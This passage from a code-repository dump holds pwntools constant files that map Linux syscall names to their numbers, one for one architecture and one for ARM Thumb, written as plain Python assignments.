Constant('SYS_fchdir',176)\nSYS_fchmod = Constant('SYS_fchmod',124)\nSYS_fchmodat = Constant('SYS_fchmodat',295)\nSYS_fchown = Constant('SYS_fchown',123)\nSYS_fchownat = Constant('SYS_fchownat',287)\nSYS_fcntl = Constant('SYS_fcntl',92)\nSYS_fdatasync = Constant('SYS_fdatasync',253)\nSYS_fgetxattr = Constant('SYS_fgetxattr',177)\nSYS_finit_module = Constant('SYS_finit_module',342)\nSYS_flistxattr = Constant('SYS_flistxattr',180)\nSYS_flock = Constant('SYS_flock',131)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',186)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',171)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',62)\nSYS_fstatat64 = Constant('SYS_fstatat64',289)\nSYS_fstatfs = Constant('SYS_fstatfs',158)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',235)\nSYS_fsync = Constant('SYS_fsync',95)\nSYS_ftruncate = Constant('SYS_ftruncate',130)\nSYS_futex = Constant('SYS_futex',142)\nSYS_futimesat = Constant('SYS_futimesat',288)\nSYS_getcpu = Constant('SYS_getcpu',308)\nSYS_getcwd = Constant('SYS_getcwd',119)\nSYS_getdents = Constant('SYS_getdents',174)\nSYS_getdents64 = Constant('SYS_getdents64',154)\nSYS_getdomainname = Constant('SYS_getdomainname',162)\nSYS_getegid = Constant('SYS_getegid',50)\nSYS_geteuid = Constant('SYS_geteuid',49)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_getgroups = Constant('SYS_getgroups',79)\nSYS_getitimer = Constant('SYS_getitimer',86)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',223)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',304)\nSYS_getpagesize = Constant('SYS_getpagesize',64)\nSYS_getpeername = Constant('SYS_getpeername',141)\nSYS_getpgid = Constant('SYS_getpgid',224)\nSYS_getpgrp = Constant('SYS_getpgrp',81)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_getppid = Constant('SYS_getppid',197)\nSYS_getpriority = Constant('SYS_getpriority',100)\nSYS_getrandom = Constant('SYS_getrandom',347)\nSYS_getresgid = Constant('SYS_getresgid',111)\nSYS_getresuid = Constant('SYS_getresuid',109)\nSYS_getrlimit = Constant('SYS_getrlimit',144)\nSYS_get_robust_list = Constant('SYS_get_robust_list',301)\nSYS_getrusage = Constant('SYS_getrusage',117)\nSYS_getsid = Constant('SYS_getsid',252)\nSYS_getsockname = Constant('SYS_getsockname',150)\nSYS_getsockopt = Constant('SYS_getsockopt',118)\nSYS_gettid = Constant('SYS_gettid',143)\nSYS_gettimeofday = Constant('SYS_gettimeofday',116)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_getxattr = Constant('SYS_getxattr',172)\nSYS_init_module = Constant('SYS_init_module',190)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',322)\nSYS_io_cancel = Constant('SYS_io_cancel',271)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',269)\nSYS_io_getevents = Constant('SYS_io_getevents',272)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',361)\nSYS_io_setup = Constant('SYS_io_setup',268)\nSYS_io_submit = Constant('SYS_io_submit',270)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_ipc = Constant('SYS_ipc',215)\nSYS_kcmp = Constant('SYS_kcmp',341)\nSYS_kern_features = Constant('SYS_kern_features',340)\nSYS_kexec_load = Constant('SYS_kexec_load',306)\nSYS_keyctl = Constant('SYS_keyctl',283)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',16)\nSYS_lgetxattr = Constant('SYS_lgetxattr',173)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',292)\nSYS_listen = Constant('SYS_listen',354)\nSYS_listxattr = Constant('SYS_listxattr',178)\nSYS_llistxattr = Constant('SYS_llistxattr',179)\nSYS__llseek = Constant('SYS__llseek',236)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',208)\nSYS_lremovexattr = Constant('SYS_lremovexattr',182)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',170)\nSYS_lstat = Constant('SYS_lstat',40)\nSYS_madvise = Constant('SYS_madvise',75)\nSYS_mbind = Constant('SYS_mbind',303)\nSYS_membarrier = Constant('SYS_membarrier',351)\nSYS_memfd_create = Constant('SYS_memfd_create',348)\nSYS_memory_ordering = Constant('SYS_memory_ordering',52)\nSYS_migrate_pages = Constant('SYS_migrate_pages',302)\nSYS_mincore = Constant('SYS_mincore',78)\nSYS_mkdir = Constant('SYS_mkdir',136)\nSYS_mkdirat = Constant('SYS_mkdirat',285)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',286)\nSYS_mlock = Constant('SYS_mlock',237)\nSYS_mlock2 = Constant('SYS_mlock2',356)\nSYS_mlockall = Constant('SYS_mlockall',239)\nSYS_mmap = Constant('SYS_mmap',71)\nSYS_mount = Constant('SYS_mount',167)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',307)\nSYS_mprotect = Constant('SYS_mprotect',74)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',278)\nSYS_mq_notify = Constant('SYS_mq_notify',277)\nSYS_mq_open = Constant('SYS_mq_open',273)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',276)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',275)\nSYS_mq_unlink = Constant('SYS_mq_unlink',274)\nSYS_mremap = Constant('SYS_mremap',250)\nSYS_msgctl = Constant('SYS_msgctl',402)\nSYS_msgget = Constant('SYS_msgget',399)\nSYS_msgrcv = Constant('SYS_msgrcv',401)\nSYS_msgsnd = Constant('SYS_msgsnd',400)\nSYS_msync = Constant('SYS_msync',65)\nSYS_munlock = Constant('SYS_munlock',238)\nSYS_munlockall = Constant('SYS_munlockall',240)\nSYS_munmap = Constant('SYS_munmap',73)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',332)\nSYS_nanosleep = Constant('SYS_nanosleep',249)\nSYS__newselect = Constant('SYS__newselect',230)\nSYS_nfsservctl = Constant('SYS_nfsservctl',254)\nSYS_nice = Constant('SYS_nice',34)\nSYS_oldlstat = Constant('SYS_oldlstat',202)\nSYS_open = Constant('SYS_open',5)\nSYS_openat = Constant('SYS_openat',284)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',333)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',29)\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',148)\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',149)\nSYS_perfctr = Constant('SYS_perfctr',18)\nSYS_perf_event_open = Constant('SYS_perf_event_open',327)\nSYS_personality = Constant('SYS_personality',191)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',321)\nSYS_pivot_root = Constant('SYS_pivot_root',146)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',363)\nSYS_pkey_free = Constant('SYS_pkey_free',364)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',362)\nSYS_poll = Constant('SYS_poll',153)\nSYS_ppoll = Constant('SYS_ppoll',298)\nSYS_prctl = Constant('SYS_prctl',147)\nSYS_pread = Constant('SYS_pread',67)\nSYS_preadv = Constant('SYS_preadv',324)\nSYS_preadv2 = Constant('SYS_preadv2',358)\nSYS_prlimit64 = Constant('SYS_prlimit64',331)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',338)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',339)\nSYS_pselect6 = Constant('SYS_pselect6',297)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_pwrite = Constant('SYS_pwrite',68)\nSYS_pwritev = Constant('SYS_pwritev',325)\nSYS_pwritev2 = Constant('SYS_pwritev2',359)\nSYS_query_module = Constant('SYS_query_module',184)\nSYS_quotactl = Constant('SYS_quotactl',165)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',205)\nSYS_readdir = Constant('SYS_readdir',204)\nSYS_readlink = Constant('SYS_readlink',58)\nSYS_readlinkat = Constant('SYS_readlinkat',294)\nSYS_readv = Constant('SYS_readv',120)\nSYS_reboot = Constant('SYS_reboot',55)\nSYS_recvfrom = Constant('SYS_recvfrom',125)\nSYS_recvmmsg = Constant('SYS_recvmmsg',328)\nSYS_recvmsg = Constant('SYS_recvmsg',113)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',192)\nSYS_removexattr = Constant('SYS_removexattr',181)\nSYS_rename = Constant('SYS_rename',128)\nSYS_renameat = Constant('SYS_renameat',291)\nSYS_renameat2 = Constant('SYS_renameat2',345)\nSYS_request_key = Constant('SYS_request_key',282)\nSYS_rmdir = Constant('SYS_rmdir',137)\nSYS_rseq = Constant('SYS_rseq',365)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',102)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',104)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',103)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',106)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',101)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',107)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',105)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',326)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',260)\nSYS_sched_getattr = Constant('SYS_sched_getattr',344)\nSYS_sched_getparam = Constant('SYS_sched_getparam',242)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',246)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',247)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',244)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',248)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',261)\nSYS_sched_setattr = Constant('SYS_sched_setattr',343)\nSYS_sched_setparam = Constant('SYS_sched_setparam',241)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',243)\nSYS_sched_yield = Constant('SYS_sched_yield',245)\nSYS_seccomp = Constant('SYS_seccomp',346)\nSYS_select = Constant('SYS_select',93)\nSYS_semctl = Constant('SYS_semctl',394)\nSYS_semget = Constant('SYS_semget',393)\nSYS_semtimedop = Constant('SYS_semtimedop',392)\nSYS_sendfile = Constant('SYS_sendfile',39)\nSYS_sendfile64 = Constant('SYS_sendfile64',140)\nSYS_sendmmsg = Constant('SYS_sendmmsg',336)\nSYS_sendmsg = Constant('SYS_sendmsg',114)\nSYS_sendto = Constant('SYS_sendto',133)\nSYS_setdomainname = Constant('SYS_setdomainname',163)\nSYS_setfsgid = Constant('SYS_setfsgid',229)\nSYS_setfsuid = Constant('SYS_setfsuid',228)\nSYS_setgid = Constant('SYS_setgid',46)\nSYS_setgroups = Constant('SYS_setgroups',80)\nSYS_sethostname = Constant('SYS_sethostname',88)\nSYS_setitimer = Constant('SYS_setitimer',83)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',305)\nSYS_setns = Constant('SYS_setns',337)\nSYS_setpgid = Constant('SYS_setpgid',185)\nSYS_setpriority = Constant('SYS_setpriority',96)\nSYS_setregid = Constant('SYS_setregid',127)\nSYS_setresgid = Constant('SYS_setresgid',110)\nSYS_setresuid = Constant('SYS_setresuid',108)\nSYS_setreuid = Constant('SYS_setreuid',126)\nSYS_setrlimit = Constant('SYS_setrlimit',145)\nSYS_set_robust_list = Constant('SYS_set_robust_list',300)\nSYS_setsid = Constant('SYS_setsid',175)\nSYS_setsockopt = Constant('SYS_setsockopt',355)\nSYS_set_tid_address = Constant('SYS_set_tid_address',166)\nSYS_settimeofday = Constant('SYS_settimeofday',122)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_setxattr = Constant('SYS_setxattr',169)\nSYS_sgetmask = Constant('SYS_sgetmask',199)\nSYS_shmat = Constant('SYS_shmat',397)\nSYS_shmctl = Constant('SYS_shmctl',396)\nSYS_shmdt = Constant('SYS_shmdt',398)\nSYS_shmget = Constant('SYS_shmget',395)\nSYS_shutdown = Constant('SYS_shutdown',134)\nSYS_sigaction = Constant('SYS_sigaction',198)\nSYS_sigaltstack = Constant('SYS_sigaltstack',28)\nSYS_signal = Constant('SYS_signal',48)\nSYS_signalfd = Constant('SYS_signalfd',311)\nSYS_signalfd4 = Constant('SYS_signalfd4',317)\nSYS_sigpending = Constant('SYS_sigpending',183)\nSYS_sigprocmask = Constant('SYS_sigprocmask',220)\nSYS_sigreturn = Constant('SYS_sigreturn',216)\nSYS_sigsuspend = Constant('SYS_sigsuspend',201)\nSYS_socket = Constant('SYS_socket',97)\nSYS_socketcall = Constant('SYS_socketcall',206)\nSYS_socketpair = Constant('SYS_socketpair',135)\nSYS_ssetmask = Constant('SYS_ssetmask',200)\nSYS_stat = Constant('SYS_stat',38)\nSYS_statfs = Constant('SYS_statfs',157)\nSYS_statfs64 = Constant('SYS_statfs64',234)\nSYS_statx = Constant('SYS_statx',360)\nSYS_stime = Constant('SYS_stime',233)\nSYS_swapoff = Constant('SYS_swapoff',213)\nSYS_swapon = Constant('SYS_swapon',85)\nSYS_symlink = Constant('SYS_symlink',57)\nSYS_symlinkat = Constant('SYS_symlinkat',293)\nSYS_sync = Constant('SYS_sync',36)\nSYS_syncfs = Constant('SYS_syncfs',335)\nSYS__sysctl = Constant('SYS__sysctl',251)\nSYS_sysfs = Constant('SYS_sysfs',226)\nSYS_sysinfo = Constant('SYS_sysinfo',214)\nSYS_syslog = Constant('SYS_syslog',207)\nSYS_tgkill = Constant('SYS_tgkill',211)\nSYS_timer_create = Constant('SYS_timer_create',266)\nSYS_timer_delete = Constant('SYS_timer_delete',265)\nSYS_timerfd = Constant('SYS_timerfd',312)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',316)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',315)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',264)\nSYS_timer_gettime = Constant('SYS_timer_gettime',263)\nSYS_timer_settime = Constant('SYS_timer_settime',262)\nSYS_times = Constant('SYS_times',43)\nSYS_tkill = Constant('SYS_tkill',187)\nSYS_truncate = Constant('SYS_truncate',129)\nSYS_umask = Constant('SYS_umask',60)\nSYS_umount = Constant('SYS_umount',159)\nSYS_umount2 = Constant('SYS_umount2',45)\nSYS_uname = Constant('SYS_uname',189)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_unlinkat = Constant('SYS_unlinkat',290)\nSYS_unshare = Constant('SYS_unshare',299)\nSYS_uselib = Constant('SYS_uselib',203)\nSYS_userfaultfd = Constant('SYS_userfaultfd',352)\nSYS_ustat = Constant('SYS_ustat',168)\nSYS_utime = Constant('SYS_utime',30)\nSYS_utimensat = Constant('SYS_utimensat',310)\nSYS_utimes = Constant('SYS_utimes',138)\nSYS_utrap_install = Constant('SYS_utrap_install',164)\nSYS_vfork = Constant('SYS_vfork',66)\nSYS_vhangup = Constant('SYS_vhangup',76)\nSYS_wait4 = Constant('SYS_wait4',7)\nSYS_waitid = Constant('SYS_waitid',279)\nSYS_waitpid = Constant('SYS_waitpid',212)\nSYS_write = Constant('SYS_write',4)\nSYS_writev = Constant('SYS_writev',121)\n"
  },
  {
    "path": "pwnlib/constants/linux/thumb.py",
    "content": "from pwnlib.constants.constant import Constant\n_ARM_SYSCALL_H = Constant('_ARM_SYSCALL_H',1)\n__NR_OABI_SYSCALL_BASE = Constant('__NR_OABI_SYSCALL_BASE',0x900000)\n__NR_SYSCALL_BASE = Constant('__NR_SYSCALL_BASE',0)\n__NR_restart_syscall = Constant('__NR_restart_syscall',(0+  0))\n__NR_exit = Constant('__NR_exit',(0+  1))\n__NR_fork = Constant('__NR_fork',(0+  2))\n__NR_read = Constant('__NR_read',(0+  3))\n__NR_write = Constant('__NR_write',(0+  4))\n__NR_open = Constant('__NR_open',(0+  5))\n__NR_close = Constant('__NR_close',(0+  6))\n__NR_creat = Constant('__NR_creat',(0+  8))\n__NR_link = Constant('__NR_link',(0+  9))\n__NR_unlink = Constant('__NR_unlink',(0+ 10))\n__NR_execve = Constant('__NR_execve',(0+ 11))\n__NR_chdir = Constant('__NR_chdir',(0+ 12))\n__NR_time = Constant('__NR_time',(0+ 13))\n__NR_mknod = Constant('__NR_mknod',(0+ 14))\n__NR_chmod = Constant('__NR_chmod',(0+ 15))\n__NR_lchown = Constant('__NR_lchown',(0+ 16))\n__NR_lseek = Constant('__NR_lseek',(0+ 19))\n__NR_getpid = Constant('__NR_getpid',(0+ 20))\n__NR_mount = Constant('__NR_mount',(0+ 21))\n__NR_umount = Constant('__NR_umount',(0+ 22))\n__NR_setuid = Constant('__NR_setuid',(0+ 23))\n__NR_getuid = Constant('__NR_getuid',(0+ 24))\n__NR_stime = Constant('__NR_stime',(0+ 25))\n__NR_ptrace = Constant('__NR_ptrace',(0+ 26))\n__NR_alarm = Constant('__NR_alarm',(0+ 27))\n__NR_pause = Constant('__NR_pause',(0+ 29))\n__NR_utime = Constant('__NR_utime',(0+ 30))\n__NR_access = Constant('__NR_access',(0+ 33))\n__NR_nice = Constant('__NR_nice',(0+ 34))\n__NR_sync = Constant('__NR_sync',(0+ 36))\n__NR_kill = Constant('__NR_kill',(0+ 37))\n__NR_rename = Constant('__NR_rename',(0+ 38))\n__NR_mkdir = Constant('__NR_mkdir',(0+ 39))\n__NR_rmdir = Constant('__NR_rmdir',(0+ 40))\n__NR_dup = Constant('__NR_dup',(0+ 41))\n__NR_pipe = Constant('__NR_pipe',(0+ 42))\n__NR_times = Constant('__NR_times',(0+ 43))\n__NR_brk = Constant('__NR_brk',(0+ 45))\n__NR_setgid = Constant('__NR_setgid',(0+ 46))\n__NR_getgid = Constant('__NR_getgid',(0+ 47))\n__NR_geteuid = Constant('__NR_geteuid',(0+ 49))\n__NR_getegid = Constant('__NR_getegid',(0+ 50))\n__NR_acct = Constant('__NR_acct',(0+ 51))\n__NR_umount2 = Constant('__NR_umount2',(0+ 52))\n__NR_ioctl = Constant('__NR_ioctl',(0+ 54))\n__NR_fcntl = Constant('__NR_fcntl',(0+ 55))\n__NR_setpgid = Constant('__NR_setpgid',(0+ 57))\n__NR_umask = Constant('__NR_umask',(0+ 60))\n__NR_chroot = Constant('__NR_chroot',(0+ 61))\n__NR_ustat = Constant('__NR_ustat',(0+ 62))\n__NR_dup2 = Constant('__NR_dup2',(0+ 63))\n__NR_getppid = Constant('__NR_getppid',(0+ 64))\n__NR_getpgrp = Constant('__NR_getpgrp',(0+ 65))\n__NR_setsid = Constant('__NR_setsid',(0+ 66))\n__NR_sigaction = Constant('__NR_sigaction',(0+ 67))\n__NR_setreuid = Constant('__NR_setreuid',(0+ 70))\n__NR_setregid = Constant('__NR_setregid',(0+ 71))\n__NR_sigsuspend = Constant('__NR_sigsuspend',(0+ 72))\n__NR_sigpending = Constant('__NR_sigpending',(0+ 73))\n__NR_sethostname = Constant('__NR_sethostname',(0+ 74))\n__NR_setrlimit = Constant('__NR_setrlimit',(0+ 75))\n__NR_getrlimit = Constant('__NR_getrlimit',(0+ 76))\n__NR_getrusage = Constant('__NR_getrusage',(0+ 77))\n__NR_gettimeofday = Constant('__NR_gettimeofday',(0+ 78))\n__NR_settimeofday = Constant('__NR_settimeofday',(0+ 79))\n__NR_getgroups = Constant('__NR_getgroups',(0+ 80))\n__NR_setgroups = Constant('__NR_setgroups',(0+ 81))\n__NR_select = Constant('__NR_select',(0+ 82))\n__NR_symlink = Constant('__NR_symlink',(0+ 83))\n__NR_readlink = Constant('__NR_readlink',(0+ 85))\n__NR_uselib = Constant('__NR_uselib',(0+ 86))\n__NR_swapon = Constant('__NR_swapon',(0+ 87))\n__NR_reboot = Constant('__NR_reboot',(0+ 88))\n__NR_readdir = Constant('__NR_readdir',(0+ 89))\n__NR_mmap = Constant('__NR_mmap',(0+ 90))\n__NR_munmap = Constant('__NR_munmap',(0+ 91))\n__NR_truncate = Constant('__NR_truncate',(0+ 92))\n__NR_ftruncate = Constant('__NR_ftruncate',(0+ 93))\n__NR_fchmod = Constant('__NR_fchmod',(0+ 94))\n__NR_fchown = Constant('__NR_fchown',(0+ 95))\n__NR_getpriority = Constant('__NR_getpriority',(0+ 96))\n__NR_setpriority = Constant('__NR_setpriority',(0+ 97))\n__NR_statfs = Constant('__NR_statfs',(0+ 99))\n__NR_fstatfs = Constant('__NR_fstatfs',(0+100))\n__NR_socketcall = Constant('__NR_socketcall',(0+102))\n__NR_syslog = Constant('__NR_syslog',(0+103))\n__NR_setitimer = Constant('__NR_setitimer',(0+104))\n__NR_getitimer = Constant('__NR_getitimer',(0+105))\n__NR_stat = Constant('__NR_stat',(0+106))\n__NR_lstat = Constant('__NR_lstat',(0+107))\n__NR_fstat = Constant('__NR_fstat',(0+108))\n__NR_vhangup = Constant('__NR_vhangup',(0+111))\n__NR_syscall = Constant('__NR_syscall',(0+113))\n__NR_wait4 = Constant('__NR_wait4',(0+114))\n__NR_swapoff = Constant('__NR_swapoff',(0+115))\n__NR_sysinfo = Constant('__NR_sysinfo',(0+116))\n__NR_ipc = Constant('__NR_ipc',(0+117))\n__NR_fsync = Constant('__NR_fsync',(0+118))\n__NR_sigreturn = Constant('__NR_sigreturn',(0+119))\n__NR_clone = Constant('__NR_clone',(0+120))\n__NR_setdomainname = Constant('__NR_setdomainname',(0+121))\n__NR_uname = Constant('__NR_uname',(0+122))\n__NR_adjtimex = Constant('__NR_adjtimex',(0+124))\n__NR_mprotect = Constant('__NR_mprotect',(0+125))\n__NR_sigprocmask = Constant('__NR_sigprocmask',(0+126))\n__NR_init_module = Constant('__NR_init_module',(0+128))\n__NR_delete_module = Constant('__NR_delete_module',(0+129))\n__NR_quotactl = Constant('__NR_quotactl',(0+131))\n__NR_getpgid = Constant('__NR_getpgid',(0+132))\n__NR_fchdir = Constant('__NR_fchdir',(0+133))\n__NR_bdflush = Constant('__NR_bdflush',(0+134))\n__NR_sysfs = Constant('__NR_sysfs',(0+135))\n__NR_personality = Constant('__NR_personality',(0+136))\n__NR_setfsuid = Constant('__NR_setfsuid',(0+138))\n__NR_setfsgid = Constant('__NR_setfsgid',(0+139))\n__NR__llseek = Constant('__NR__llseek',(0+140))\n__NR_getdents = Constant('__NR_getdents',(0+141))\n__NR__newselect = Constant('__NR__newselect',(0+142))\n__NR_flock = Constant('__NR_flock',(0+143))\n__NR_msync = Constant('__NR_msync',(0+144))\n__NR_readv = Constant('__NR_readv',(0+145))\n__NR_writev = Constant('__NR_writev',(0+146))\n__NR_getsid = Constant('__NR_getsid',(0+147))\n__NR_fdatasync = Constant('__NR_fdatasync',(0+148))\n__NR__sysctl = Constant('__NR__sysctl',(0+149))\n__NR_mlock = Constant('__NR_mlock',(0+150))\n__NR_munlock = Constant('__NR_munlock',(0+151))\n__NR_mlockall = Constant('__NR_mlockall',(0+152))\n__NR_munlockall = Constant('__NR_munlockall',(0+153))\n__NR_sched_setparam = Constant('__NR_sched_setparam',(0+154))\n__NR_sched_getparam = Constant('__NR_sched_getparam',(0+155))\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(0+156))\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(0+157))\n__NR_sched_yield = Constant('__NR_sched_yield',(0+158))\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(0+159))\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(0+160))\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(0+161))\n__NR_nanosleep = Constant('__NR_nanosleep',(0+162))\n__NR_mremap = Constant('__NR_mremap',(0+163))\n__NR_setresuid = Constant('__NR_setresuid',(0+164))\n__NR_getresuid = Constant('__NR_getresuid',(0+165))\n__NR_poll = Constant('__NR_poll',(0+168))\n__NR_nfsservctl = Constant('__NR_nfsservctl',(0+169))\n__NR_setresgid = Constant('__NR_setresgid',(0+170))\n__NR_getresgid = Constant('__NR_getresgid',(0+171))\n__NR_prctl = Constant('__NR_prctl',(0+172))\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(0+173))\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',(0+174))\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(0+175))\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',(0+176))\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(0+177))\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(0+178))\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(0+179))\n__NR_pread64 = Constant('__NR_pread64',(0+180))\n__NR_pwrite64 = Constant('__NR_pwrite64',(0+181))\n__NR_chown = Constant('__NR_chown',(0+182))\n__NR_getcwd = Constant('__NR_getcwd',(0+183))\n__NR_capget = Constant('__NR_capget',(0+184))\n__NR_capset = Constant('__NR_capset',(0+185))\n__NR_sigaltstack = Constant('__NR_sigaltstack',(0+186))\n__NR_sendfile = Constant('__NR_sendfile',(0+187))\n__NR_vfork = Constant('__NR_vfork',(0+190))\n__NR_ugetrlimit = Constant('__NR_ugetrlimit',(0+191))\n__NR_mmap2 = Constant('__NR_mmap2',(0+192))\n__NR_truncate64 = Constant('__NR_truncate64',(0+193))\n__NR_ftruncate64 = Constant('__NR_ftruncate64',(0+194))\n__NR_stat64 = Constant('__NR_stat64',(0+195))\n__NR_lstat64 = Constant('__NR_lstat64',(0+196))\n__NR_fstat64 = Constant('__NR_fstat64',(0+197))\n__NR_lchown32 = Constant('__NR_lchown32',(0+198))\n__NR_getuid32 = Constant('__NR_getuid32',(0+199))\n__NR_getgid32 = Constant('__NR_getgid32',(0+200))\n__NR_geteuid32 = Constant('__NR_geteuid32',(0+201))\n__NR_getegid32 = Constant('__NR_getegid32',(0+202))\n__NR_setreuid32 = Constant('__NR_setreuid32',(0+203))\n__NR_setregid32 = Constant('__NR_setregid32',(0+204))\n__NR_getgroups32 = Constant('__NR_getgroups32',(0+205))\n__NR_setgroups32 = Constant('__NR_setgroups32',(0+206))\n__NR_fchown32 = Constant('__NR_fchown32',(0+207))\n__NR_setresuid32 = Constant('__NR_setresuid32',(0+208))\n__NR_getresuid32 = Constant('__NR_getresuid32',(0+209))\n__NR_setresgid32 = Constant('__NR_setresgid32',(0+210))\n__NR_getresgid32 = Constant('__NR_getresgid32',(0+211))\n__NR_chown32 = Constant('__NR_chown32',(0+212))\n__NR_setuid32 = Constant('__NR_setuid32',(0+213))\n__NR_setgid32 = Constant('__NR_setgid32',(0+214))\n__NR_setfsuid32 = Constant('__NR_setfsuid32',(0+215))\n__NR_setfsgid32 = Constant('__NR_setfsgid32',(0+216))\n__NR_getdents64 = Constant('__NR_getdents64',(0+217))\n__NR_pivot_root = Constant('__NR_pivot_root',(0+218))\n__NR_mincore = Constant('__NR_mincore',(0+219))\n__NR_madvise = Constant('__NR_madvise',(0+220))\n__NR_fcntl64 = Constant('__NR_fcntl64',(0+221))\n__NR_gettid = Constant('__NR_gettid',(0+224))\n__NR_readahead = Constant('__NR_readahead',(0+225))\n__NR_setxattr = Constant('__NR_setxattr',(0+226))\n__NR_lsetxattr = Constant('__NR_lsetxattr',(0+227))\n__NR_fsetxattr = Constant('__NR_fsetxattr',(0+228))\n__NR_getxattr = Constant('__NR_getxattr',(0+229))\n__NR_lgetxattr = Constant('__NR_lgetxattr',(0+230))\n__NR_fgetxattr = Constant('__NR_fgetxattr',(0+231))\n__NR_listxattr = Constant('__NR_listxattr',(0+232))\n__NR_llistxattr = Constant('__NR_llistxattr',(0+233))\n__NR_flistxattr = Constant('__NR_flistxattr',(0+234))\n__NR_removexattr = Constant('__NR_removexattr',(0+235))\n__NR_lremovexattr = Constant('__NR_lremovexattr',(0+236))\n__NR_fremovexattr = Constant('__NR_fremovexattr',(0+237))\n__NR_tkill = Constant('__NR_tkill',(0+238))\n__NR_sendfile64 = Constant('__NR_sendfile64',(0+239))\n__NR_futex = Constant('__NR_futex',(0+240))\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(0+241))\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(0+242))\n__NR_io_setup = Constant('__NR_io_setup',(0+243))\n__NR_io_destroy = Constant('__NR_io_destroy',(0+244))\n__NR_io_getevents = Constant('__NR_io_getevents',(0+245))\n__NR_io_submit = Constant('__NR_io_submit',(0+246))\n__NR_io_cancel = Constant('__NR_io_cancel',(0+247))\n__NR_exit_group = Constant('__NR_exit_group',(0+248))\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(0+249))\n__NR_epoll_create = Constant('__NR_epoll_create',(0+250))\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',(0+251))\n__NR_epoll_wait = Constant('__NR_epoll_wait',(0+252))\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',(0+253))\n__NR_set_tid_address = 